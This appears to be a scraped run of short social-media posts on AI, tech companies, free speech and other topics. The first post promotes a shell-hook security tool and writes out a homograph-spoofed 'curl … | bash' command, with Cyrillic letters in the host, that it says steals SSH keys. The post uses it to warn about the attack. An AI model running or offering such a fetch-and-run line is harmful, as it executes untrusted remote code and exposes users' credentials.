Be honest. When was the last time you actually read a command before pasting it into your terminal? Because these two lines look identical: curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-clі | bash One installs your tool. The other steals your SSH keys. That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink. Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything. So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry. github.com/sheeki03/tirith

@Pirat_Nation It turns out "using AI as an excuse to replace all American workers with foreigners" does not count as doing something "useful" with AI

OpenAI, Anthropic and xAI do not have a viable business model. Meta, Google and Microsoft are pouring the cash from their viable business models into non-viable AI business models. This won’t end well. blog.dshr.org/2025/12/mind-g…

CIBC despises its customers. I recommend avoiding them where possible.

@beaversteever send them a bill

"after 11 technical interviews" "your work has been accepted into our codebase" interviews are getting out of hand

One way to avoid competing with yourself is to ensure legacy releases become unusable. "... customers could use the new Outlook for Windows or Outlook Web Access (OWA) as a temporary workaround to access their mailboxes." bleepingcomputer.com/news/microsoft…

It's fine if Canada wants X to take action or face consequences in Canada for not doing so. If Canada _should_ do this depends on if it is good for the world. X then has the choice of taking recommended action or not doing business in Canada. techdirt.com/2025/09/18/x-a…

I wonder if the people who are upset about Jimmy Kimmel getting canceled by ABC were equally upset about @RealAlexJones getting canceled a few years ago. I'm not in favor of anyone getting canceled over free speech, regardless of their political views.

Stop reading Business Insider. Business Insider has told journalists they can use AI to create first drafts of stories and suggested it won't notify readers that AI was used status.news/p/business-ins…

This is progress? 1. AI-assisted work weakens critical thinking. 2. AI chatbot output is wrong half the time and poses privacy/security risks. 3. AI abilities aren’t possible without vast power and IP theft. 4. AI accelerates the decline of the open web. neomam.com/a-case-for-hum…

Happy Pythagorean Triple Square Day! Today’s date is made of 3 perfect squares and they form a Pythagorean triple: 3² + 4² = 5² This only happens once a century.

Use Claude for architecture, Grok for implementation. I recommend using yourself to verify the architecture and code are actually worth using. blog.kilocode.ai/p/choosing-the…

Hate speech is still free speech, you just need to deal with the potential consequences (as XKCD reminded us years ago xkcd.com/1357/) Does Pam Bondi know what free speech is? archive.is/20250916133459…
